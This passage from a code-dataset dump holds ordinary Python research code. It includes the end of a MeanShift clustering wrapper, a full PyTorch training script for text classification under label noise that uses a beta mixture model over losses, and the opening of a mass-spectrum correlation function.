condition is met\n        :param initial: number of initial candidates. Should fit into driver memory\n        :param convergence: the minimum distance considered significant.\n        If means shifted less than param, then stop condition is met\n        :param seed: random seed for picking initial candidates\n        \"\"\"\n        super().__init__(\n            radius=radius,\n            max_clusters=max_clusters,\n            max_iterations=max_iterations,\n            initial=initial,\n            convergence=convergence,\n            seed=ClusteringAlgo.make_seed(seed)\n        )\n\n    def fit(self, sparkling_df: SparklingDF) -> MeanShiftModel:\n        jvm_model = self._jvm_algo.fit(sparkling_df.jdf, sparkling_df.dist)\n        return MeanShiftModel(jvm_model)\n\n    def fit_predict_with_model(self, sparkling_df: SparklingDF) -> Tuple[MeanShiftModel, SparklingDF]:\n        model = self.fit(sparkling_df)\n        return model, model.predict(sparkling_df)\n\n    def _jvm_builder(self, jvm, **kwargs):\n        return jvm.ru.ifmo.rain.algorithms.meanshift.MeanShift(\n            kwargs['radius'],\n            kwargs['max_clusters'],\n            kwargs['max_iterations'],\n            kwargs['initial'],\n            kwargs['convergence'],\n            kwargs['seed']\n        )\n\n\nclass MeanShiftDefaults:\n    @staticmethod\n    def initial(sparkling_df: SparklingDF) -> int:\n        return 2 * Defaults.max_clusters(sparkling_df)\n\n\nclass MeanShiftConf(AlgoConf):\n    def __init__(\n            self, *,\n            radius=(1e-5, 0.61),\n            max_clusters=Defaults.max_clusters,\n            max_iterations=Defaults.max_iterations,\n            initial=MeanShiftDefaults.initial,\n            convergence=1e-7\n    ):\n        super().__init__(\n            MeanShift,\n            radius=radius,\n            max_clusters=max_clusters,\n            initial=initial,\n            max_iterations=max_iterations,\n            convergence=convergence\n        )\n","repo_name":"mishiuss/sparkling","sub_path":"sparkling/algorithms/meanshift.py","file_name":"meanshift.py","file_ext":"py","file_size_in_byte":3588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70250538888","text":"import sys\nimport argparse\nimport random\nimport copy\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.autograd import Variable\nimport matplotlib.pyplot as plt\nimport os\nimport glob\nimport pdb\n\nimport dataloader\nimport modules\nimport scipy.stats as stats\nimport math\nimport time\n\ntorch.manual_seed(0)\n\ntorch.backends.cudnn.deterministic = True\ntorch.backends.cudnn.benchmark = False\n\nfrom PIL import Image\n\nout = open('prev_outputs.txt', 'a')\n\ndef print(*args):\n    s = ' '.join([str(x) for x in args])\n    if s[-1]!='\\n':\n        s += '\\n'\n    sys.stdout.write(s)\n    sys.stdout.flush()\n    out.write(s)\n    out.flush()\n\nprint('-'*50, '\\n\\n')\nprint(time.strftime(\"%d %b %Y %H:%M:%S\", time.localtime()))\n\n\ndef track_training_loss(model, train_x, train_y, bmm_model, epoch):\n    model.eval()\n\n    predictions = torch.Tensor()\n\n    with torch.no_grad():\n        all_losses = torch.Tensor()\n\n        for x, y in zip(train_x, train_y):\n            data, target = Variable(x), Variable(y)\n            clean_output, noisy_output = model(data)\n            prediction = F.log_softmax(clean_output, dim=1)\n            idx_loss = F.nll_loss(prediction, target, reduction='none').detach_()\n            all_losses = torch.cat((all_losses, idx_loss.cpu()))\n            predictions = torch.cat((predictions, prediction.cpu()))\n            \n    model.train()\n\n    loss_tr = all_losses.data.numpy()\n    batch_losses = all_losses.clone()\n    \n    # outliers detection\n    max_perc = np.percentile(loss_tr, 98)\n    min_perc = np.percentile(loss_tr, 2)\n    loss_tr = loss_tr[(loss_tr<=max_perc) & (loss_tr>=min_perc)]\n    bmm_model_maxLoss = torch.FloatTensor([max_perc])\n    bmm_model_minLoss = torch.FloatTensor([min_perc]) + 10e-6\n    loss_tr = (loss_tr - bmm_model_minLoss.data.cpu().numpy()) / (bmm_model_maxLoss.data.cpu().numpy() - bmm_model_minLoss.data.cpu().numpy() + 1e-6)\n    loss_tr[loss_tr>=1] = 1-10e-4\n    loss_tr[loss_tr <= 0] = 10e-4\n    \n    #FIT BMM on loss_tr\n    bmm_model = BetaMixture1D(max_iters=30)\n    bmm_model.fit(loss_tr)\n    bmm_model.create_lookup(1)\n    \n    if epoch//10==0:\n        epoch = \"0\"+str(epoch)\n    else:\n        epoch = str(epoch)\n    \n    global results_dir\n    \n    folder = os.path.join(results_dir)\n    if not os.path.isdir(folder):\n        os.mkdir(folder)\n    folder = os.path.join(results_dir,'pngs')\n    if not os.path.isdir(folder):\n        os.mkdir(folder)\n\n    fname = os.path.join(folder,'bmm_%s.png'%epoch)\n    \n    bmm_model.plot('Epoch %s'%epoch, fname)\n    \n    #Get probabilities from BMM\n    batch_losses = (batch_losses - bmm_model_minLoss) / (bmm_model_maxLoss - bmm_model_minLoss + 1e-6)\n    batch_losses[batch_losses >= 1] = 1-10e-4\n    batch_losses[batch_losses <= 0] = 10e-4\n    B = bmm_model.look_lookup(batch_losses, bmm_model_maxLoss, bmm_model_minLoss)\n\n    _, predictions = torch.max(predictions, axis=1)\n\n    return bmm_model, torch.FloatTensor(B).cuda(), predictions.cuda()\n\n\nclass BetaMixture1D(object):\n    def __init__(self, max_iters=10,\n                 alphas_init=[1, 2],\n                 betas_init=[2, 1],\n                 weights_init=[0.5, 0.5]):\n        self.alphas = np.array(alphas_init, dtype=np.float64)\n        self.betas = np.array(betas_init, dtype=np.float64)\n        self.weight = np.array(weights_init, dtype=np.float64)\n        self.max_iters = max_iters\n        self.lookup = np.zeros(100, dtype=np.float64)\n        self.lookup_resolution = 100\n        self.lookup_loss = np.zeros(100, dtype=np.float64)\n        self.eps_nan = 1e-12\n\n    def likelihood(self, x, y):\n        return stats.beta.pdf(x, self.alphas[y], self.betas[y])\n\n    def weighted_likelihood(self, x, y):\n        return self.weight[y] * self.likelihood(x, y)\n\n    def probability(self, x):\n        return sum(self.weighted_likelihood(x, y) for y in range(2))\n\n    def posterior(self, x, y):\n        return self.weighted_likelihood(x, y) / (self.probability(x) + self.eps_nan)\n\n    def responsibilities(self, x):\n        r =  np.array([self.weighted_likelihood(x, i) for i in range(2)])\n        # there are ~200 samples below that value\n        r[r <= self.eps_nan] = self.eps_nan\n        r /= r.sum(axis=0)\n        return r\n\n    def score_samples(self, x):\n        return -np.log(self.probability(x))\n\n    def fit(self, x):\n\n        def fit_beta_weighted(x, w):\n    \n            def weighted_mean(x, w):\n                return np.sum(w * x) / np.sum(w)\n\n            x_bar = weighted_mean(x, w)\n            s2 = weighted_mean((x - x_bar)**2, w)\n            alpha = x_bar * ((x_bar * (1 - x_bar)) / s2 - 1)\n            beta = alpha * (1 - x_bar) /x_bar\n            return alpha, beta\n\n\n        x = np.copy(x)\n\n        # EM on beta distributions unsable with x == 0 or 1\n        eps = 1e-4\n        x[x >= 1 - eps] = 1 - eps\n        x[x <= eps] = eps\n\n        for i in range(self.max_iters):\n\n            # E-step\n            r = self.responsibilities(x)\n\n            # M-step\n            self.alphas[0], self.betas[0] = fit_beta_weighted(x, r[0])\n            self.alphas[1], self.betas[1] = fit_beta_weighted(x, r[1])\n            self.weight = r.sum(axis=1)\n            self.weight /= self.weight.sum()\n        print(\"Fitted BMM Means\")\n        print(self.alphas[0]/(self.alphas[0]+self.betas[0]), self.alphas[1]/(self.alphas[1]+self.betas[1]))\n        print(-self.alphas[0]/(self.alphas[0]+self.betas[0]) +  self.alphas[1]/(self.alphas[1]+self.betas[1]))\n        return self\n\n    def predict(self, x):\n        return self.posterior(x, 1) > 0.5\n\n    def create_lookup(self, y):\n        x_l = np.linspace(0+self.eps_nan, 1-self.eps_nan, self.lookup_resolution)\n        lookup_t = self.posterior(x_l, y)\n        lookup_t[np.argmax(lookup_t):] = lookup_t.max()\n        self.lookup = lookup_t\n        self.lookup_loss = x_l # I do not use this one at the end\n\n    def look_lookup(self, x, loss_max, loss_min):\n        x_i = x.clone().cpu().numpy()\n        x_i = np.array((self.lookup_resolution * x_i).astype(int))\n        x_i[x_i < 0] = 0\n        x_i[x_i == self.lookup_resolution] = self.lookup_resolution - 1\n        return self.lookup[x_i]\n\n    def plot(self, title=\"BMM\", save_path=None):\n        x = np.linspace(0, 1, 100)\n        plt.figure()\n        plt.plot(x, self.weighted_likelihood(x, 0), label='negative')\n        plt.plot(x, self.weighted_likelihood(x, 1), label='positive')\n        # plt.plot(x, self.probability(x), lw=2, label='mixture')\n        plt.title(title)\n        plt.legend()\n        if save_path:\n            plt.savefig(save_path)\n\n    def __str__(self):\n        return 'BetaMixture1D(w={}, a={}, b={})'.format(self.weight, self.alphas, self.betas)\n\n\nclass Model(nn.Module):\n    def __init__(self, embedding, hidden_size=800, depth=6, dropout=0.3, cnn=False, nclasses=2):\n        super(Model, self).__init__()\n        self.cnn = cnn\n        self.drop = nn.Dropout(dropout)\n        self.emb_layer = modules.EmbeddingLayer(\n            embs = dataloader.load_embedding(embedding)\n        )\n        self.word2id = self.emb_layer.word2id\n\n        if cnn:\n            self.encoder = modules.CNN_Text(\n                self.emb_layer.n_d,\n                widths = [3,4,5],\n                filters=hidden_size\n            )\n            self.d_out = 3*hidden_size\n        else:\n            self.encoder = nn.LSTM(\n                self.emb_layer.n_d,\n                hidden_size//2,\n                depth,\n                dropout = dropout,\n                # batch_first=True,\n                bidirectional=True\n            )\n            self.d_out = hidden_size\n        self.out = nn.Linear(self.d_out, nclasses)\n\n    def forward(self, input):\n        if self.cnn:\n            input = input.t()\n        #print(input.size())\n        emb = self.emb_layer(input)\n        emb = self.drop(emb)\n        #print(emb.size())\n        #exit()\n        \n        if not self.cnn:\n            self.encoder.flatten_parameters()   \n\n        if self.cnn:\n            output = self.encoder(emb)\n        else:\n            output, hidden = self.encoder(emb)\n            output = torch.max(output, dim=0)[0].squeeze()\n        #print(output.size())\n        #exit()\n        output = self.drop(output)\n        output = self.out(output)\n\n        return output, output\n\n    def text_pred(self, text, batch_size=32):\n        batches_x = dataloader.create_batches_x(\n            text,\n            batch_size,\n            self.word2id\n        )\n        outs = []\n        with torch.no_grad():\n            for x in batches_x:\n                x = Variable(x)\n                if self.cnn:\n                    x = x.t()\n                emb = self.emb_layer(x)\n\n                if self.cnn:\n                    output = self.encoder(emb)\n                else:\n                    output, hidden = self.encoder(emb)\n                    output = torch.max(output, dim=0)[0]\n\n                outs.append(F.softmax(self.out(output), dim=-1))\n\n        return torch.cat(outs, dim=0)\n    \n    def get_n_params(self):\n        pp=0\n        for p in list(self.parameters()):\n            nn=1\n            for s in list(p.size()):\n                nn = nn*s\n            pp += nn\n        return pp\n\n\nclass Feedforward(torch.nn.Module):\n    def __init__(self, input_size, hidden_size, output_size):\n        super(Feedforward, self).__init__()\n        self.input_size = input_size\n        self.hidden_size  = hidden_size\n        self.output_size = output_size\n        self.fc1 = torch.nn.Linear(self.input_size, self.hidden_size)\n        self.relu = torch.nn.ReLU()\n        self.fc3 = torch.nn.Linear(self.hidden_size, self.output_size)\n        \n    def forward(self, x):\n        hidden = self.fc1(x)\n        relu = self.relu(hidden)\n        output = self.fc3(relu)\n        return output\n\n\nclass Model_NM(Model):\n\n    def __init__(self, embedding, hidden_size=600, depth=2, dropout=0.3, cnn=False, nclasses=2):\n        super(Model_NM, self).__init__(embedding, hidden_size, depth, dropout, cnn, nclasses)\n\n        #NM_inp_size = nclasses + self.d_out\n        NM_inp_size = nclasses\n        NM_hidden_size = int(NM_inp_size*4)\n\n        self.NM = Feedforward(NM_inp_size+self.d_out, NM_hidden_size, nclasses)\n        #self.NM = Feedforward(NM_inp_size, NM_hidden_size, nclasses)\n\n        # print(NM_inp_size, NM_hidden_size)\n\n\n    def forward(self, input):\n        if self.cnn:\n            input = input.t()\n        emb = self.emb_layer(input)\n        emb = self.drop(emb)\n\n        if not self.cnn:\n            self.encoder.flatten_parameters()   \n\n        if self.cnn:\n            output = self.encoder(emb)\n        else:\n            output, hidden = self.encoder(emb)\n            output = torch.max(output, dim=0)[0].squeeze()\n\n        output = self.drop(output)\n        clean_output = self.out(output)\n        #pdb.set_trace()\n\n        noisy_output = self.NM(torch.cat((output, clean_output), dim=1))\n        #noisy_output = self.NM(clean_output)\n        \n        return clean_output, noisy_output\n\n\ndef eval_model(niter, model, input_x, input_y, noisy=False):\n    model.eval()\n    correct = 0.0\n    cnt = 0.\n\n    with torch.no_grad():\n        for x, y in zip(input_x, input_y):\n            x, y = Variable(x), Variable(y)\n            clean_output, noisy_output = model(x)\n            output = noisy_output if noisy else clean_output\n            pred = output.data.max(1)[1]\n            correct += pred.eq(y.data).cpu().sum()\n            cnt += y.numel()\n    model.train()\n\n    return correct.item()/cnt\n\ndef eval_model_noisy(model, input_x, input_y, input_noise):\n    model.eval()\n    correct = 0.0\n    cnt = 0.    \n    with torch.no_grad():\n        for x, y, z in zip(input_x, input_y, input_noise):\n            x, y, z = Variable(x), Variable(y), z.cpu().numpy()\n            clean_output, _ = model(x)\n            pred = clean_output.cpu().data.max(1)[1]\n            #print(pred, y,z)\n            correct += np.sum(pred.eq(y.cpu().data).numpy()*z)\n            cnt += np.sum(z)\n    model.train()\n    #print(correct, cnt, correct/cnt)\n\n    return correct/cnt\n\n\n\ndef train_model(epoch, model, optimizer, train_x, train_y, dev_x, dev_y,\n        best_test, save_path, bmm_model, nclasses, train_noise=None, train_orig_labels=None, prob=None, preds=None, warmup=None, round_prob=True, beta=10):\n\n    if bmm_model is not None:\n        if epoch == warmup:\n            print('Fitting BMM')\n            bmm_model, prob, preds = track_training_loss(model, train_x, train_y, bmm_model, epoch)\n            prob2 = torch.round(prob)\n            #pdb.set_trace()\n            count_var=0\n            correct=0\n            correct_noisy=0\n            print(np.sum(prob.cpu().numpy()),prob.size())\n            for z in train_noise:\n                p = prob2[count_var:count_var+train_x[0].size()[1]]\n                count_var+= train_x[0].size()[1]\n                correct += np.sum(p.data.eq(z.data).cpu().numpy())\n                correct_noisy += np.sum(p.data.eq(z.data).cpu().numpy()*z.cpu().numpy())\n            print(\"BMM correctly fits %f %% of all training points.\"%(correct/count_var))\n            print(\"BMM correctly fits %f %% of noisy training points.\"%(correct_noisy/count_var))\n                        \n#     bootstrap_acc = eval_model_noisy(model, train_x, train_orig_labels, train_noise)\n#     print(\"Noisy Points accuracy on original label: %f\"%bootstrap_acc)\n#     bootstrap_acc = eval_model_noisy(model, train_x, train_y, train_noise)\n#     print(\"Noisy Points accuracy on noisy label: %f\"%bootstrap_acc)\n    \n    \n    model.train()\n    niter = epoch*len(train_x)\n    criterion = nn.CrossEntropyLoss()\n    criterion2 = nn.CrossEntropyLoss(reduce=False)\n    kl_criterion = nn.KLDivLoss(reduction=\"none\")\n    softmax_criterion= nn.Softmax()\n    log_softmax_criterion= nn.LogSoftmax()\n    #pdb.set_trace()\n\n\n    def contrastive_loss(clean_output, noisy_output, prob, y, epoch, preds, true_noise):\n\n        # contrastive_loss = torch.sum((1-2*prob)*hellinger_loss)\n\n        #kl_loss = torch.sum(kl_criterion(log_softmax_criterion(noisy_output), softmax_criterion(clean_output)),axis=1)\n        #contrastive_loss = torch.sum((1-2*prob)*kl_loss) # - prob*torch.clamp(kl_loss, min=0, max=1))\n        #contrastive_loss = torch.sum((1-prob)*kl_loss - prob*torch.clamp(kl_loss, min=0, max=1))\n        \n        #clean_softmax = softmax_criterion(clean_output)\n        #noisy_softmax = softmax_criterion(noisy_output)\n        #hellinger_loss = torch.sum(torch.sqrt(((torch.sqrt(clean_softmax) - torch.sqrt(noisy_softmax)) ** 2) / 2),\n        #                           axis=1)\n        \n        #contrastive_loss = torch.sum((1 - true_noise) * criterion2(clean_output, y))\n        #kl_loss = torch.sum(kl_criterion(log_softmax_criterion(noisy_output), softmax_criterion(clean_output)),axis=1)\n        #contrastive_loss += torch.sum((1-prob)*kl_loss - prob*torch.clamp(kl_loss, min=0, max=5))\n        #pdb.set_trace()\n        #contrastive_loss += torch.sum((true_noise) * criterion2(clean_output, preds))\n        \n        contrastive_loss = torch.sum((1-prob)*criterion2(clean_output, y))\n        #_, preds = torch.max(clean_output, axis=1)\n        #contrastive_loss += torch.sum((prob)*criterion2(clean_output, preds))\n        return contrastive_loss\n\n    '''\n    # uniform prior\n    uniform_output=(1/(nclasses-1))*torch.ones(clean_output.size()).cuda()\n    a= torch.linspace(0,batch_size-1,steps=batch_size).long()\n    uniform_output[a,y]=0\n    kl_loss = torch.sum(kl_criterion(log_softmax_criterion(clean_output),uniform_output),axis=1)\n    contrastive_loss=torch.sum((1-prob)*criterion2(clean_output, y) + prob*kl_loss)\n    '''\n\n    element_criterion = nn.CrossEntropyLoss(reduce=False)\n    element_loss = []\n    cnt=count_var=0\n    \n    #if not epoch+1== warmup:\n    #    beta = 1/(epoch-warmup+1)\n    #lamda = 0.2\n\n    total_contrast_loss=total_cross_entropy_loss=total_loss=0\n    prob2 = torch.round(prob) if epoch>=warmup and round_prob    else prob\n    #pdb.set_trace()\n    for x, y, z in zip(train_x, train_y, train_noise):\n        niter += 1\n        cnt += 1\n        model.zero_grad()\n        x, y , z= Variable(x), Variable(y), Variable(z)\n        clean_output, noisy_output = model(x)\n\n        if bmm_model is not None:\n            if epoch < warmup:\n                cross_entropy_loss = criterion(clean_output, y)\n                loss = cross_entropy_loss\n            else:\n                p = prob2[count_var:count_var+x.size()[1]]\n                preds_batch = preds[count_var:count_var+x.size()[1]]\n                #p = z\n                count_var+=x.size()[1]\n                p = Variable(p)\n\n                cross_entropy_loss = criterion(noisy_output, y)\n                #cross_entropy_loss += lamda* sum([p.pow(2).sum() for p in model.NM.parameters()])  #regularization loss\n                contrast_loss = contrastive_loss(clean_output, noisy_output, p, y, epoch, preds_batch, z)\n                loss = cross_entropy_loss + beta*contrast_loss\n        else:\n            cross_entropy_loss = criterion(clean_output, y)\n            loss = cross_entropy_loss\n\n\n        element_loss.extend(element_criterion(clean_output,y).cpu().detach().numpy().tolist())\n        loss.backward()\n        optimizer.step()\n        \n        if bmm_model is not None and epoch >= warmup:\n            total_contrast_loss += contrast_loss.item()\n        total_cross_entropy_loss += cross_entropy_loss.item()\n        total_loss += loss.item()\n        \n\n    test_acc = eval_model(niter, model, dev_x, dev_y, noisy=True)\n\n    print(\"Epoch={} train_loss={:.6f} contrast_loss={:.6f} CE_loss={:.6f} dev_acc={:.6f}\\n\".format(\n        epoch,\n        total_loss, total_contrast_loss, total_cross_entropy_loss,\n        test_acc\n    ))\n\n    if save_path:\n        torch.save(model.state_dict(), os.path.join(save_path,\"best_model.bin\"))\n    return test_acc, element_loss, prob, preds, bmm_model\n\n\ndef save_data(data, labels, path, type='train'):\n    with open(os.path.join(path, type+'.txt'), 'w') as ofile:\n        for text, label in zip(data, labels):\n            ofile.write('{} {}\\n'.format(label, ' '.join(text)))\n\n\ndef create_gif(frames, fname='hist.gif'):\n    frames = [Image.open(i) for i in frames]\n    folder = os.path.join(results_dir)\n    if not os.path.isdir(folder):\n        os.mkdir(folder)\n\n    fname = os.path.join(folder,fname)\n    frames[0].save(fname, format='GIF',\n               append_images=frames[1:],\n               save_all=True,\n               duration=400, loop=0)\n    \n    \ndef plot_histogram(losses, labels, epoch, bmm_model):\n    clean = [x for x,y in zip(losses, labels) if y==0]\n    noisy = [x for x,y in zip(losses, labels) if y==1]\n    \n#     plt.figure()\n#     hist, bins = np.histogram(clean, bins=50)\n#     width = 0.7 * (bins[1] - bins[0])\n#     center = (bins[:-1] + bins[1:]) / 2\n#     plt.bar(center, hist, align='center', width=width)\n\n#     hist, bins = np.histogram(noisy, bins=50)\n#     width = 0.7 * (bins[1] - bins[0])\n#     center = (bins[:-1] + bins[1:]) / 2\n#     plt.bar(center, hist, align='center', width=width, color='red')\n#     plt.title('Epoch %d'%(int(epoch)+1))\n\n    fig, (ax1, ax2, ax3) = plt.subplots(1,3,figsize=(14,6))\n    \n    hist, bins = np.histogram(clean, bins=50)\n    width = 0.7 * (bins[1] - bins[0])\n    center = (bins[:-1] + bins[1:]) / 2\n    ax1.bar(center, hist, align='center', width=width)\n\n    hist, bins = np.histogram(noisy, bins=50)\n    width = 0.7 * (bins[1] - bins[0])\n    center = (bins[:-1] + bins[1:]) / 2\n    ax1.bar(center, hist, align='center', width=width, color='red')\n    ax1.set_title('Epoch %d'%(int(epoch)+1))\n    \n    hist, bins = np.histogram(losses, bins=50)\n    width = 0.7 * (bins[1] - bins[0])\n    center = (bins[:-1] + bins[1:]) / 2\n    ax2.bar(center, hist, align='center', width=width, color='green')\n    ax2.set_title('Epoch %d'%(int(epoch)+1))\n    \n    if bmm_model is not None:\n        x = np.linspace(0, 1, 100)\n        ax3.plot(x, bmm_model.weighted_likelihood(x, 0), label='negative')\n        ax3.plot(x, bmm_model.weighted_likelihood(x, 1), label='positive')\n#         ax3.plot(x, bmm_model.probability(x), lw=2, label='mixture')\n        ax3.legend()\n        ax3.set_title('Epoch %d'%(int(epoch)+1))\n\n\n    if epoch//10 == 0:\n        epoch = \"0\"+str(int(epoch)+1)\n    else:\n        epoch = str(int(epoch)+1)\n\n#     plt.title('Epoch %s'%epoch)\n\n    folder = os.path.join(results_dir)\n    if not os.path.isdir(folder):\n        os.mkdir(folder)\n    folder = os.path.join(results_dir, 'pngs')\n    if not os.path.isdir(folder):\n        os.mkdir(folder)\n\n    fname = os.path.join(folder, 'hist_%s.png'%epoch)\n\n    #plt.show()\n    plt.savefig(fname)\n    plt.clf()\n\n    return fname\n\n\ndef main(args):\n\n    folder = os.path.join(results_dir)\n    if not os.path.isdir(folder):\n        os.mkdir(folder)\n    folder = os.path.join(results_dir,'pngs')\n    if not os.path.isdir(folder):\n        os.mkdir(folder)\n\n    for file in glob.glob(os.path.join(folder, '*.png')):\n        os.remove(file)\n\n    train_x, train_y, train_noise, train_orig_labels = dataloader.read_corpus(os.path.join(args.dataset,\"train.tsv\"), shuffle=True, get_noise=True)\n    print(len(train_x), len(train_y), len(train_noise), len(train_orig_labels))\n    #     exit()\n    dev_x, dev_y, dev_noise, dev_orig_labels = dataloader.read_corpus(os.path.join(args.dataset,\"dev.tsv\"), shuffle=True, get_noise=True)\n    test_x, test_y = dataloader.read_corpus(os.path.join(args.dataset,\"test.tsv\"), shuffle=True)\n\n    #print(len(train_x), len(dev_x), len(test_x))\n    # 4949 503 500\n    # 112000 8000 7600\n#     pdb.set_trace()\n    nclasses = max(train_y) + 1\n    print(\"NUM CLASSES: \"+ str(nclasses))\n    \n    if args.baseline:\n        model = Model(args.embedding, args.d, args.depth, args.dropout, args.cnn, nclasses=nclasses).cuda()\n        bmm_model = None\n    else:\n        model = Model_NM(args.embedding, args.d, args.depth, args.dropout, args.cnn, nclasses=nclasses).cuda()\n        bmm_model = BetaMixture1D(max_iters=10)\n        \n    params = filter(lambda x: x.requires_grad, list(model.parameters()))\n    \n    print(model)\n    print('Number of parameters:',model.get_n_params())\n\n    optimizer = optim.Adam(params, lr = args.lr)\n\n    train_x, train_y, train_noise_batches, train_orig_labels_batches = dataloader.create_batches_xyz(\n        train_x, train_y, train_noise, train_orig_labels,\n        args.batch_size,\n        model.word2id,\n    )\n    print(f\"Noise = {1.0*len(list(filter(lambda x: x == 1, train_noise)))/len(train_noise)}\")\n    #pdb.set_trace()\n    #print(train_y[0], train_noise_batches[0], train_orig_labels_batches[0])\n    #exit()\n    \n    dev_x, dev_y = dataloader.create_batches(\n        dev_x, dev_y,\n        args.batch_size,\n        model.word2id,\n    )\n    \n    test_x, test_y = dataloader.create_batches(\n        test_x, test_y,\n        args.batch_size,\n        model.word2id,\n    )\n\n    curr_best_dev=0\n    early_stopping=0\n    \n    frames = []\n    bmm_frames = []\n    folder = os.path.join(results_dir)\n    if not os.path.isdir(folder):\n        os.mkdir(folder)\n    folder = os.path.join(results_dir,'pngs')\n    if not os.path.isdir(folder):\n        os.mkdir(folder)\n\n    prob = None\n    preds = None\n    for epoch in range(args.max_epoch):\n        curr_dev, element_loss, prob, preds, bmm_model = train_model(epoch, model, optimizer,\n            train_x, train_y,\n            dev_x, dev_y,\n            curr_best_dev, args.save_path,\n            bmm_model, nclasses, train_noise_batches, train_orig_labels_batches, prob=prob, preds=preds, warmup=args.warmup,\n                                                                     round_prob=args.round_prob, beta=args.beta)\n\n        if curr_best_dev <= curr_dev:\n            #print('New best model found', curr_best_dev, curr_dev, curr_best_dev<=curr_dev)\n            curr_best_dev=curr_dev\n            early_stopping=0\n            best_model=copy.deepcopy(model)\n        else:\n            early_stopping+=1\n        \n        if early_stopping == 100:\n           break\n            \n        if args.lr_decay>0:\n            optimizer.param_groups[0]['lr'] *= args.lr_decay\n\n        frames.append(plot_histogram(element_loss, train_noise, epoch, bmm_model))\n        create_gif(frames)\n    \n        test_acc = eval_model(args.max_epoch, best_model, test_x, test_y, noisy=False)\n        print(\"Best Model Test Acc.: {:.6f}\\n\".format(\n            test_acc\n        ))\n\n        test_acc = eval_model(args.max_epoch, model, test_x, test_y, noisy=False)\n        print(\"Latest Model Test Acc.: {:.6f}\\n\\n\".format(\n            test_acc\n        ))\n\n        if bmm_model is not None:\n            if epoch//10==0:\n                e = \"0\"+str(epoch)\n            else:\n                e = str(epoch)\n            bmm_frames.append(os.path.join(folder,'bmm_%s.png'%e))\n            bmm_frames = sorted(glob.glob(os.path.join(folder, 'bmm*.png')))\n            try:\n                create_gif(bmm_frames, fname='bmm.gif')\n            except:\n                print('Couldnt create GIF of BMM')\n\n    if args.save_path:\n        torch.save(model.state_dict(), os.path.join(args.save_path, \"last_model.bin\"))\n\n    for file in glob.glob(os.path.join(folder, '*.png')):\n        os.remove(file)\n\n\nif __name__ == \"__main__\":\n    argparser = argparse.ArgumentParser(sys.argv[0], conflict_handler='resolve')\n    argparser.add_argument(\"--cnn\", action='store_true', help=\"whether to use cnn\")\n    argparser.add_argument(\"--lstm\", action='store_true', help=\"whether to use lstm\")\n    argparser.add_argument(\"--dataset\", type=str, default=\"yelp\", help=\"which dataset\")\n    argparser.add_argument(\"--embedding\", type=str, default=\"embeddings/glove.txt\", help=\"word vectors\")\n    argparser.add_argument(\"--batch_size\", \"--batch\", type=int, default=32)\n    argparser.add_argument(\"--max_epoch\", type=int, default=50)\n    argparser.add_argument(\"--d\", type=int, default=300)\n    argparser.add_argument(\"--warmup\", type=int, default=100)\n    argparser.add_argument(\"--dropout\", type=float, default=0.3)\n    argparser.add_argument(\"--depth\", type=int, default=2)\n    argparser.add_argument(\"--lr\", type=float, default=0.001)\n    argparser.add_argument(\"--lr_decay\", type=float, default=0)\n    argparser.add_argument(\"--cv\", type=int, default=0)\n    argparser.add_argument(\"--save_path\", type=str, default=None)\n    argparser.add_argument(\"--save_data_split\", action='store_true', help=\"whether to save train/test split\")\n    argparser.add_argument(\"--gpu_id\", type=int, default=0)\n    argparser.add_argument(\"--baseline\", action='store_true', default=False)\n    argparser.add_argument(\"--round_prob\", type=int, default=1)\n    argparser.add_argument('--noise', type=float)\n    argparser.add_argument('--beta', type=float, default=10)\n    argparser.add_argument(\"--result\", type=str, default=\"result_random\", help=\"which result directory to put in\")\n\n    args = argparser.parse_args()\n\n    if args.dataset == \"data/ag_news\":\n        args.beta = args.noise*20 if args.noise != 0.0 else 2.0\n        #args.warmup = 6\n\n    # args.save_path = os.path.join(args.save_path, args.dataset)\n    #args.beta = 2 if args.noise==0.0 else args.noise*20  # remove this line\n    old_out = sys.stdout\n\n    class St_ampe_dOut:\n        \"\"\"Stamped stdout.\"\"\"\n        def __init__(self, f):\n            self.f = f\n            self.nl = True\n\n        def write(self, x):\n            \"\"\"Write function overloaded.\"\"\"\n            if x == '\\n':\n                old_out.write(x)\n                self.nl = True\n            elif self.nl:\n                old_out.write('%s'%(x))\n                self.nl = False\n            else:\n                old_out.write(x)\n            try:\n                self.f.write(str(x))\n                self.f.flush()\n            except:\n                pass\n            old_out.flush()\n\n        def flush(self):\n            try:\n                self.f.flush()\n            except:\n                pass\n            old_out.flush()\n    \n    global results_dir\n    b = 'baseline' if args.baseline else 'ours'\n    if not os.path.exists(args.result):\n        os.mkdir(args.result)\n    results_dir = os.path.join(args.result, args.dataset.split('/')[-1])\n    if not os.path.exists(results_dir):\n        os.mkdir(results_dir)\n    results_dir = os.path.join(results_dir, f\"results_{args.noise}_{args.beta}_{args.round_prob}_{args.warmup}\")\n    if not os.path.exists(results_dir):\n        os.mkdir(results_dir)\n    sys.stdout = St_ampe_dOut(open(os.path.join(results_dir,'output.txt'), 'w'))\n    \n\n\n\n    \n    print(args)\n    torch.cuda.set_device(args.gpu_id)\n    main(args)\n","repo_name":"thumbe3/label-noise-nlp","sub_path":"train_classifier.py","file_name":"train_classifier.py","file_ext":"py","file_size_in_byte":28527,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"16"}
+{"seq_id":"19173642126","text":"from math import sqrt\n\n##################################################################################################################################################################\n\ndef PCC_calculator(abund_thresh,PCC_abund_thresh,pro_mz_tol,leading_bio_scan,leading_syn_scan):\n\n    '''    \n    PCC: Pair data\n        For each peak in the syn spectrum, check the peaks in the bio spectrum one by one to see if any have an m/z within +/-pro_mz_tol. If so, pair the two peaks.\n        If more than one match is found, use the one with the closest m/z.\n        If a match cannot be found, designate an abundance of zero for this m/z in the bio spectrum.\n    PCC: Filter noise from peak lists (based on fixed, user-defined threshold. Could use alternative approaches like avg + 2SD)\n    '''\n\n    pro_mz_tol = 2*pro_mz_tol #This value is doubled to account for the possibility that one run could be -pro_mz_tol from predicted and the other could be +pro_mz_tol from predicted \n    \n    warning = \"none\"\n    syn_list_filtered = []\n    biomin, synmin = 0, 0\n    if leading_bio_scan==(\"Missing spectrum\") or leading_syn_scan==(\"Missing spectrum\"):\n        PCC_r=\"Missing spectrum\"\n        if leading_bio_scan==(\"Missing spectrum\") and leading_syn_scan==(\"Missing spectrum\"):\n            warning = \"both runs\"\n        elif leading_bio_scan==(\"Missing spectrum\"):\n            warning = \"bio run\"\n        else:\n            warning = \"syn run\"\n        \n    else:\n        